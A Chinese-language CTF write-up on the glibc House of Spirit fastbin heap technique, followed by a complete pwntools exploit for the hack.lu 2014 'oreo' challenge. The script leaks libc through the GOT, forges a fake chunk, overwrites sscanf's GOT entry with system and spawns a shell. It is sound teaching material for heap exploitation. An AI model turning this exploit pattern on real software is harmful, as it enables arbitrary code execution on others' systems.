Fastbin Attack 3 (題目)
回顧
House of spirit是文章“The Mallo Maleficarum”提出的一種利用fastbin實施的堆利用技術,更像一種內存漏洞利用技術的思想。其思想就是構造一個fake chunk使得內存分配器錯誤的分配到我們可控的內存區域,進而達到任意地址讀寫的的效果。該攻擊適合用戶控制了低地址(chunk頭)、高地址(next chunk頭),需要通過House of spirit來控制中間地址的情景
House of sirit的條件與基本思路如下:
- 程序存在漏洞可以控制一個free函數的參數——指針P
- 可在可控內存區域(.bss,stack,heap)上構造一個fake fastchunk

將指針P修改為fack fastchunk的chunk address,將其free到FastbinY[i]單鏈表中
再次申請同樣大小的chunk,會返回fake fastchunk,結合程序的功能實現任意地址讀寫的效果
關鍵就是如何正確偽造一個fake fastchunk,來繞過glic的安全檢測
glibc中關于釋放fast chunk的安全檢測
堆的釋放函數定義在_libc_free函數中,通過源碼分析,正常釋放一個fastchunk時有五個安全檢測
- 在_libc_free函數中,會檢測該chunk是否通過mmap申請,即檢測chunk的ISMMAP標志位,即 A|M|P 中的第二位,如果
ISMMAP為1的話,就說明該chunk是通過mmap申請的空間,就會調用munmap函數進行釋放,同時對mmap分配mmap_threshold及收縮trim_threshold閾值進行調整。所以我們要將它置0。if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; }
下面是_libc_free函數中子函數
_int_free的安全檢查
chunk指針的地址要對齊且堆指針不能溢出
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer");chunk的大小要大于MINSIZE且大小對齊()
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
chunk的size要小于fastchunk支持的最大值(64 bytes on x32, 128 bytes on x64)
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())next chunk的size要大于2*SIZE_SZ(x86下SIZE_SZ為4,x64下為8),且小于av_>system_mem(默認為128kb)
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0))
2014 hack.lu oreo
鏈接: https://pan.baidu.com/s/1XBUMr9l6g_MTTfjWk5YN_A 密碼: pow4
程序的基本功能如下
- 添加槍支,其主要會讀取槍支的名字與描述。但問題在于讀取的名字的長度過長,可以覆蓋 next 指針以及后面堆塊的數據。可以覆蓋后面堆塊的數據大小為 56-(56-27)=27 大小。需要注意的是,這些槍支的大小都是在 fastbin 范圍內的。
- 展示添加槍支,即從頭到尾輸出槍支的描述與名字。
- 訂已經選擇的槍支,即將所有已經添加的槍支釋放掉,但是并沒有置為 NULL。
- 留下訂貨消息
- 展示目前狀態,即添加了多少只槍,訂了多少單,留下了什么信息。
不難分析得到,程序的漏洞主要存在于添加槍支時的堆溢出漏洞。
基本利用思路如下
- 由于程序存在堆溢出漏洞,而且還可以控制 next 指針,我們可以直接控制 next 指針指向程序中 got 表的位置。當進行展示的時候,即可以輸出對應的內容,這里同時需要確保假設對應地址為一個槍支結構體時,其 next 指針為 NULL。這里我采用 puts@got。通過這樣的操作,我們就可以獲得出 libc 基地址,以及 system 函數地址。
- 由于槍支結構體大小是 0x38 大小,所以其對應的 chunk 為 0x40。這里采用
house of sprit的技術來返回 0x0804A2A8 處的 chunk,即留下的消息的指針。因此,我們需要設置 0x0804A2A4 處的內容為 0x40,即需要添加 0x40 支槍支,從而繞過大小檢測。同時為了確保可以繞過 next chunk 的檢測,這里我們編輯留下的消息。 - 在成功分配這樣的 chunk 后,我們其實就有了一個任意地址修改的漏洞,這里我們可以選擇修改一個合適的 got 項為 system 地址,從而獲得 shell。
from pwn import *
context.terminal = ["terminator", "-e"]
#context.log_level = 'debug'
sh = process("./oreo")
elf = ELF("./oreo")
libc = ELF("./libc.so.6")
def add(name,description):
#sh.recvuntil("Action: ")
sh.sendline('1')
#sh.recvuntil("Rifle name: ")
sh.sendline(name)
#sh.recvuntil("description: ")
sh.sendline(description)
def show_added():
#sh.recvuntil("Action: ")
sh.sendline('2')
def order_to_del():
#sh.recvuntil("Action: ")
sh.sendline('3')
def leave_a_mes(notice):
#sh.recvuntil("Action: ")
sh.sendline('4')
#sh.recvuntil("order: ")
sh.sendline(notice)
# leak libc base
#description = p32(elf.got['puts'])
name = b'a'*27 + p32(elf.got['puts'])
add(name, b'a'*25)
show_added()
sh.recvuntil("===================================\n")
sh.recvuntil('Name: ')
puts_addr = u32( sh.recv(4).ljust(4,b'\x00') )
log.success('puts addr :' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
#log.success ('libc base :' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# free chunk 0x804a2a8
rifle_n = 1 # we have create a chunk
while rifle_n < 0x3f:
add(b'a'*27+p32(0), b'a'*25) # 25B | 27B | null_addr
rifle_n += 1
add(b'a'*27 + p32(0x804a2a8), b'a'*25) # 25B | 27B | 0x804a2a8
# now 0x804a2a4 count++ to 0x40
# which is equals to chunk size
# bypass check to write sth in 0x804a2a8
payload = b'\x00'*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, b'a')
payload += p32(0)
payload = payload.ljust(128, b'b')
leave_a_mes(payload)
log.success('wirte payload at 0x804a2a8')
# fastbin 0x804a2a0 -> any addr heap -> null
order_to_del()
log.success("finish free()")
sh.recvuntil("Okay order submitted!\n")
#gdb.attach(sh)
# get shell
payload = p32(elf.got['__isoc99_sscanf'])
add(b'a'*8, payload)
#gdb.attach(sh)
log.success("sys addr: " + hex(system_addr))
#gdb.attach(sh)
leave_a_mes(p32(system_addr))
sh.sendline(";/bin/sh\x00")
#gdb.attach(sh)
sh.interactive()